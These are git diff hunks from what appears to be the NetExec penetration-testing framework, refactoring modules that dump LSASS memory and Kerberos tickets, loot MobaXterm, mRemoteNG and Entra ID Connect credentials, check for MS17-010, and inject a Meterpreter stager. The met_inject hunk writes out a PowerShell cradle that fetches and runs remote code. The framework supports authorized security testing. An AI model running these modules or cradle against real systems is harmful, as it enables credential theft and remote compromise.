context.log.highlight(f"SUSPICIOUS: {exe} has unexpected FileDescription '{file_desc}' (expected {expected_str})")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to process {exe}: {e}")
|
||||
|
||||
if not tampered:
|
||||
context.log.display("All lock screen executable descriptions are consistent with the expected values")
|
||||
+77
-4
@@ -4,32 +4,57 @@
|
||||
# https://beta.hackndo.com [FR]
|
||||
# https://en.hackndo.com [EN]
|
||||
|
||||
import os
|
||||
import sys
|
||||
from lsassy.dumper import Dumper
|
||||
from lsassy.impacketfile import ImpacketFile
|
||||
from lsassy.parser import Parser
|
||||
from lsassy.session import Session
|
||||
|
||||
from impacket.krb5.ccache import CCache
|
||||
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "lsassy"
|
||||
description = "Dump lsass and parse the result remotely with lsassy"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # writes temporary files, and it's possible for them to not be deleted
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.method = None
|
||||
self.dump_tickets = True
|
||||
self.save_dir = os.path.join(NXC_PATH, "modules", "lsassy")
|
||||
self.ticket_type = "ccache"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""METHOD Method to use to dump lsass.exe with lsassy"""
|
||||
"""
|
||||
METHOD Method to use to dump lsass.exe with lsassy
|
||||
DUMP_TICKETS If set, will dump Kerberos tickets (Default: True)
|
||||
SAVE_DIR Directory to save dumped tickets
|
||||
SAVE_TYPE Type of ticket to save, either 'kirbi' or 'ccache' (Default: 'ccache')
|
||||
"""
|
||||
self.method = "comsvcs"
|
||||
if "METHOD" in module_options:
|
||||
self.method = module_options["METHOD"]
|
||||
|
||||
if "DUMP_TICKETS" in module_options:
|
||||
self.dump_tickets = module_options["DUMP_TICKETS"].lower() in ["true"]
|
||||
|
||||
if "SAVE_DIR" in module_options:
|
||||
self.save_dir = module_options["SAVE_DIR"]
|
||||
|
||||
if "SAVE_TYPE" in module_options:
|
||||
self.ticket_type = module_options["SAVE_TYPE"]
|
||||
if self.ticket_type not in ["kirbi", "ccache"]:
|
||||
context.log.error(f"Invalid SAVE_TYPE '{self.ticket_type}'. Supported types are 'kirbi' and 'ccache'.")
|
||||
sys.exit(1)
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.host
|
||||
domain_name = connection.domain
|
||||
@@ -69,7 +94,6 @@ class NXCModule:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
credentials, tickets, masterkeys = parsed
|
||||
|
||||
file.close()
|
||||
context.log.debug("Closed dumper file")
|
||||
file_path = file.get_file_path()
|
||||
@@ -86,6 +110,9 @@ class NXCModule:
|
||||
if credentials is None:
|
||||
credentials = []
|
||||
|
||||
if self.dump_tickets and tickets:
|
||||
self.write_tickets(context, tickets, host)
|
||||
|
||||
for cred in credentials:
|
||||
c = cred.get_object()
|
||||
context.log.debug(f"Cred: {c}")
|
||||
@@ -118,6 +145,52 @@ class NXCModule:
|
||||
context.log.debug("Calling process_credentials")
|
||||
self.process_credentials(context, connection, credentials_output)
|
||||
|
||||
def write_tickets(self, context, tickets, host):
|
||||
if not tickets:
|
||||
context.log.display("No Kerberos tickets found")
|
||||
return
|
||||
|
||||
if not os.path.exists(self.save_dir):
|
||||
try:
|
||||
os.makedirs(self.save_dir)
|
||||
context.log.debug(f"Created directory: {self.save_dir} for saving tickets")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error creating directory {self.save_dir}: {e}")
|
||||
return
|
||||
|
||||
ticket_count = 0
|
||||
for ticket in tickets:
|
||||
for filename in ticket.kirbi_data:
|
||||
try:
|
||||
base_filename = filename.split(".kirbi")[0]
|
||||
timestamp = ticket.EndTime.strftime("%Y%m%d%H%M%S")
|
||||
kirbi_data = ticket.kirbi_data[filename]
|
||||
|
||||
if self.ticket_type == "ccache":
|
||||
ccache = CCache()
|
||||
ccache.fromKRBCRED(kirbi_data.dump())
|
||||
ticket_filename = f"{base_filename}_{host}_{timestamp}.ccache"
|
||||
ticket_content = ccache.getData()
|
||||
else:
|
||||
ticket_filename = f"{base_filename}_{host}_{timestamp}.kirbi"
|
||||
ticket_content = kirbi_data.dump()
|
||||
|
||||
ticket_path = os.path.join(self.save_dir, ticket_filename)
|
||||
|
||||
with open(ticket_path, "wb") as f:
|
||||
f.write(ticket_content)
|
||||
|
||||
ticket_count += 1
|
||||
context.log.debug(f"Saved ticket: {ticket_filename}")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing ticket {filename}: {e}")
|
||||
|
||||
if ticket_count > 0:
|
||||
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
|
||||
else:
|
||||
context.log.display("No tickets were saved")
|
||||
|
||||
def process_credentials(self, context, connection, credentials):
|
||||
if len(credentials) == 0:
|
||||
context.log.display("No credentials found")
|
||||
|
||||
+15
-8
@@ -1,7 +1,11 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Shutdown and Podalirius
|
||||
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
|
||||
|
||||
Initial module:
|
||||
https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
|
||||
@@ -12,18 +16,21 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
"""No options available"""
|
||||
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def on_login(self, context, connection):
|
||||
result = []
|
||||
context.log.display("Getting the MachineAccountQuota")
|
||||
searchFilter = "(objectClass=*)"
|
||||
attributes = ["ms-DS-MachineAccountQuota"]
|
||||
result = connection.search(searchFilter, attributes)
|
||||
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
|
||||
|
||||
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
|
||||
entries = parse_result_attributes(ldap_response)
|
||||
|
||||
if not entries:
|
||||
context.log.fail("No LDAP entries returned.")
|
||||
return
|
||||
|
||||
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
|
||||
@@ -1,13 +1,13 @@
|
||||
from masky import Masky
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "masky"
|
||||
description = "Remotely dump domain user credentials via an ADCS and a KDC"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
@@ -81,8 +81,8 @@ class NXCModule:
|
||||
|
||||
pwned_users = 0
|
||||
for user in rslts.users:
|
||||
if user.nthash:
|
||||
context.log.highlight(f"{user.domain}\\{user.name} {user.nthash}")
|
||||
if user.nt_hash:
|
||||
context.log.highlight(f"{user.domain}\\{user.name} {user.nt_hash}")
|
||||
self.process_credentials(connection, context, user)
|
||||
pwned_users += 1
|
||||
|
||||
@@ -98,7 +98,7 @@ class NXCModule:
|
||||
"hash",
|
||||
user.domain,
|
||||
user.name,
|
||||
user.nthash,
|
||||
user.nt_hash,
|
||||
pillaged_from=host,
|
||||
)
|
||||
add_user_bh(user.name, user.domain, context.log, connection.config)
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
from sys import exit
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -10,8 +11,7 @@ class NXCModule:
|
||||
name = "met_inject"
|
||||
description = "Downloads the Meterpreter stager and injects it into memory"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.rand = None
|
||||
@@ -27,7 +27,7 @@ class NXCModule:
|
||||
SRVPORT Stager port
|
||||
RAND Random string given by metasploit (if using web_delivery)
|
||||
SSL Stager server use https or http (default: https)
|
||||
|
||||
|
||||
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
|
||||
|
||||
multi/handler method that don't require RAND:
|
||||
@@ -62,14 +62,14 @@ class NXCModule:
|
||||
proto = "http" if self.met_ssl == "http" else "https"
|
||||
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
|
||||
context.log.debug(f"{metasploit_endpoint=}")
|
||||
|
||||
|
||||
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
|
||||
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
|
||||
context.log.debug(f"Running command via ps_execute: {command}")
|
||||
|
||||
|
||||
output = connection.ps_execute(command)
|
||||
context.log.debug(f"Received output from ps_execute: {output}")
|
||||
|
||||
|
||||
if output and "Unable to connect to the remote server" in output:
|
||||
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
|
||||
else:
|
||||
|
||||
+24
-90
@@ -1,113 +1,46 @@
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "mobaxterm"
|
||||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PVK Domain backup key file
|
||||
MKFILE File with masterkeys in form of {GUID}:SHA1
|
||||
"""
|
||||
self.pvkbytes = None
|
||||
self.masterkeys = None
|
||||
self.conn = None
|
||||
self.target = None
|
||||
|
||||
if "PVK" in module_options:
|
||||
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
|
||||
|
||||
if "MKFILE" in module_options:
|
||||
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
|
||||
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
if self.pvkbytes is None:
|
||||
try:
|
||||
dc = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
dc_conn = DPLootSMBConnection(dc)
|
||||
dc_conn.connect()
|
||||
|
||||
if dc_conn.is_admin:
|
||||
context.log.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
self.pvkbytes = backupkey.backupkey_v2
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self.target = Target.create(
|
||||
domain=domain,
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
try:
|
||||
self.conn = DPLootSMBConnection(self.target)
|
||||
self.conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not upgrade connection: {e}")
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
if password != "":
|
||||
plaintexts[username] = password
|
||||
if nthash != "":
|
||||
nthashes[username] = nthash
|
||||
|
||||
if self.masterkeys is None:
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
@@ -115,14 +48,15 @@ class NXCModule:
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
|
||||
|
||||
def mobaxterm_callback(credential):
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
|
||||
try:
|
||||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
||||
_, credentials = triage.triage_mobaxterm()
|
||||
for credential in credentials:
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
triage.triage_mobaxterm()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
|
||||
+15
-20
@@ -1,11 +1,12 @@
|
||||
import ntpath
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from Cryptodome.Cipher import AES
|
||||
from lxml import objectify
|
||||
from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -15,6 +16,7 @@ class MRemoteNgEncryptionAttributes:
|
||||
encryption_engine: str
|
||||
full_file_encryption: bool
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Dump mRemoteNG Passwords
|
||||
@@ -24,8 +26,7 @@ class NXCModule:
|
||||
name = "mremoteng"
|
||||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.false_positive = (
|
||||
@@ -42,7 +43,7 @@ class NXCModule:
|
||||
"Users\\{username}\\AppData\\Local\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
|
||||
]
|
||||
|
||||
|
||||
self.custom_user_path = [
|
||||
"Users\\{username}\\Desktop",
|
||||
"Users\\{username}\\Documents",
|
||||
@@ -57,7 +58,7 @@ class NXCModule:
|
||||
CUSTOM_PATH Custom path to confCons.xml file
|
||||
"""
|
||||
self.context = context
|
||||
|
||||
|
||||
self.password = "mR3m"
|
||||
if "PASSWORD" in module_options:
|
||||
self.password = module_options["PASSWORD"]
|
||||
@@ -94,7 +95,10 @@ class NXCModule:
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
|
||||
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if dploot_conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
# 2. Dump users list
|
||||
users = self.get_users(dploot_conn)
|
||||
@@ -117,14 +121,6 @@ class NXCModule:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def upgrade_connection(self, target: Target, connection=None):
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
else:
|
||||
conn.connect()
|
||||
return conn
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
@@ -135,7 +131,7 @@ class NXCModule:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
|
||||
return users
|
||||
|
||||
|
||||
def handle_confCons_file(self, file_content):
|
||||
main = objectify.fromstring(file_content)
|
||||
encryption_attributes = MRemoteNgEncryptionAttributes(
|
||||
@@ -144,7 +140,7 @@ class NXCModule:
|
||||
encryption_engine=main.attrib["EncryptionEngine"],
|
||||
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
|
||||
)
|
||||
|
||||
|
||||
for node_attribute in self.parse_xml_nodes(main):
|
||||
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
|
||||
if password == b"":
|
||||
@@ -155,7 +151,7 @@ class NXCModule:
|
||||
username = node_attribute["Username"]
|
||||
protocol = node_attribute["Protocol"]
|
||||
port = node_attribute["Port"]
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
|
||||
|
||||
def parse_xml_nodes(self, main):
|
||||
@@ -168,7 +164,7 @@ class NXCModule:
|
||||
nodes.append(node.attrib)
|
||||
nodes = nodes + self.parse_xml_nodes(node)
|
||||
return nodes
|
||||
|
||||
|
||||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
|
||||
directory_list = conn.remote_list_dir(self.share, directory_path)
|
||||
if directory_list is not None:
|
||||
@@ -184,7 +180,6 @@ class NXCModule:
|
||||
self.context.log.info(f"Found confCons.xml file: {new_path}")
|
||||
content = conn.readFile(self.context.share, new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
encrypted_password = b64decode(encrypted_password)
|
||||
@@ -209,4 +204,4 @@ class NXCModule:
|
||||
cipher.update(associated_data)
|
||||
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
|
||||
else:
|
||||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
|
||||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
|
||||
+15
-24
@@ -5,6 +5,7 @@
|
||||
from ctypes import c_uint8, c_uint16, c_uint32, c_uint64, Structure
|
||||
import socket
|
||||
import struct
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
@@ -31,19 +32,19 @@ class SmbHeader(Structure):
|
||||
]
|
||||
|
||||
def __init__(self, buffer):
|
||||
nxc_logger.debug("server_component : %04x" % self.server_component)
|
||||
nxc_logger.debug("smb_command : %01x" % self.smb_command)
|
||||
nxc_logger.debug("error_class : %01x" % self.error_class)
|
||||
nxc_logger.debug("error_code : %02x" % self.error_code)
|
||||
nxc_logger.debug("flags : %01x" % self.flags)
|
||||
nxc_logger.debug("flags2 : %02x" % self.flags2)
|
||||
nxc_logger.debug("process_id_high : %02x" % self.process_id_high)
|
||||
nxc_logger.debug("signature : %08x" % self.signature)
|
||||
nxc_logger.debug("reserved2 : %02x" % self.reserved2)
|
||||
nxc_logger.debug("tree_id : %02x" % self.tree_id)
|
||||
nxc_logger.debug("process_id : %02x" % self.process_id)
|
||||
nxc_logger.debug("user_id : %02x" % self.user_id)
|
||||
nxc_logger.debug("multiplex_id : %02x" % self.multiplex_id)
|
||||
nxc_logger.debug(f"server_component : {self.server_component:04x}")
|
||||
nxc_logger.debug(f"smb_command : {self.smb_command:01x}")
|
||||
nxc_logger.debug(f"error_class : {self.error_class:01x}")
|
||||
nxc_logger.debug(f"error_code : {self.error_code:02x}")
|
||||
nxc_logger.debug(f"flags : {self.flags:01x}")
|
||||
nxc_logger.debug(f"flags2 : {self.flags2:02x}")
|
||||
nxc_logger.debug(f"process_id_high : {self.process_id_high:02x}")
|
||||
nxc_logger.debug(f"signature : {self.signature:08x}")
|
||||
nxc_logger.debug(f"reserved2 : {self.reserved2:02x}")
|
||||
nxc_logger.debug(f"tree_id : {self.tree_id:02x}")
|
||||
nxc_logger.debug(f"process_id : {self.process_id:02x}")
|
||||
nxc_logger.debug(f"user_id : {self.user_id:02x}")
|
||||
nxc_logger.debug(f"multiplex_id : {self.multiplex_id:02x}")
|
||||
|
||||
def __new__(self, buffer=None):
|
||||
nxc_logger.debug(f"Creating SMB_HEADER object from buffer: {buffer}")
|
||||
@@ -54,8 +55,7 @@ class NXCModule:
|
||||
name = "ms17-010"
|
||||
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
@@ -72,7 +72,6 @@ class NXCModule:
|
||||
if str(e) == "Buffer size too small (0 instead of at least 32 bytes)":
|
||||
context.log.debug("Buffer size too small, which means the response was not the expected size")
|
||||
|
||||
|
||||
def generate_smb_proto_payload(self, *protos):
|
||||
"""
|
||||
Flattens a nested list and merges all bytes objects into a single bytes object.
|
||||
@@ -98,7 +97,6 @@ class NXCModule:
|
||||
self.logger.debug(f"Packed proto data: {hex_data}")
|
||||
return hex_data
|
||||
|
||||
|
||||
def calculate_doublepulsar_xor_key(self, s):
|
||||
"""
|
||||
Calculate Doublepulsar Xor Key.
|
||||
@@ -115,8 +113,6 @@ class NXCModule:
|
||||
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
|
||||
return x & 0xffffffff # truncate to 32 bits
|
||||
|
||||
|
||||
|
||||
def negotiate_proto_request(self):
|
||||
"""Generate a negotiate_proto_request packet."""
|
||||
self.logger.debug("generate negotiate proto request")
|
||||
@@ -160,7 +156,6 @@ class NXCModule:
|
||||
# Return the generated SMB protocol payload
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
|
||||
|
||||
|
||||
def session_setup_andx_request(self):
|
||||
"""Generate session setup andx request."""
|
||||
self.logger.debug("generate session setup andx request"
|
||||
@@ -210,7 +205,6 @@ class NXCModule:
|
||||
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
|
||||
|
||||
|
||||
def tree_connect_andx_request(self, ip, userid):
|
||||
"""Generate tree connect andx request.
|
||||
|
||||
@@ -279,7 +273,6 @@ class NXCModule:
|
||||
# Generate the final SMB protocol payload
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
|
||||
|
||||
|
||||
def peeknamedpipe_request(self, treeid, processid, userid, multiplex_id):
|
||||
"""
|
||||
Generate tran2 request.
|
||||
@@ -345,7 +338,6 @@ class NXCModule:
|
||||
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, tran_request)
|
||||
|
||||
|
||||
def trans2_request(self, treeid, processid, userid, multiplex_id):
|
||||
"""Generate trans2 request.
|
||||
|
||||
@@ -409,7 +401,6 @@ class NXCModule:
|
||||
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, trans2_request)
|
||||
|
||||
|
||||
def check(self, ip, port=445):
|
||||
"""Check if MS17_010 SMB Vulnerability exists.
|
||||
|
||||
|
||||
+31
-78
@@ -1,93 +1,46 @@
|
||||
# MSOL module for nxc
|
||||
# MSOL module for NetExec
|
||||
# Author of the module : https://twitter.com/Daahtk
|
||||
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
|
||||
from sys import exit
|
||||
from os import path
|
||||
from nxc.paths import TMP_PATH
|
||||
# Fully rewritten by @NeffIsBack
|
||||
from base64 import b64encode
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @NeffIsBack"""
|
||||
name = "msol"
|
||||
description = "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server"
|
||||
description = "Dump MSOL cleartext password and Entra ID credentials from the localDB on the Entra ID Connect Server"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.use_embedded = None
|
||||
self.MSOL_PS1 = None
|
||||
self.msol_embedded = None
|
||||
self.cmd = None
|
||||
self.msolmdl = None
|
||||
self.msol = None
|
||||
self.tmp_share = None
|
||||
self.share = None
|
||||
self.tmp_dir = None
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
self.entra_id_psscript = ""
|
||||
|
||||
with open(get_ps_script("msol_dump/entra-sync-creds.ps1")) as psFile:
|
||||
for line in psFile:
|
||||
if line.startswith("#") or line.strip() == "":
|
||||
continue
|
||||
else:
|
||||
self.entra_id_psscript += line.strip() + "\n"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""MSOL_PS1 // Path to the msol binary on your computer"""
|
||||
self.tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.tmp_dir.split(":")[1]
|
||||
self.msol = "msol.ps1"
|
||||
self.use_embedded = True
|
||||
self.msolmdl = self.cmd = ""
|
||||
|
||||
with open(get_ps_script("msol_dump/msol_dump.ps1")) as msolsc:
|
||||
self.msol_embedded = msolsc.read()
|
||||
|
||||
if "MSOL_PS1" in module_options:
|
||||
self.MSOL_PS1 = module_options["MSOL_PS1"]
|
||||
self.use_embedded = False
|
||||
|
||||
def exec_script(self, _, connection):
|
||||
command = f"C:\\windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe {self.tmp_dir}msol.ps1"
|
||||
return connection.execute(command, True)
|
||||
"""No module options available."""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.use_embedded:
|
||||
file_to_upload = f"{TMP_PATH}/msol.ps1"
|
||||
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
|
||||
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
|
||||
|
||||
try:
|
||||
with open(file_to_upload, "w") as msol:
|
||||
msol.write(self.msol_embedded)
|
||||
except FileNotFoundError:
|
||||
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
|
||||
exit(1)
|
||||
|
||||
else:
|
||||
if path.isfile(self.MSOL_PS1):
|
||||
file_to_upload = self.MSOL_PS1
|
||||
if "CLIXML" in out:
|
||||
out = out.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
|
||||
for line in out.splitlines():
|
||||
if not line.strip():
|
||||
continue
|
||||
if "[!]" in line:
|
||||
context.log.fail(line.replace("[!]", "").strip())
|
||||
else:
|
||||
context.log.fail(f"Cannot open {self.MSOL_PS1}")
|
||||
exit(1)
|
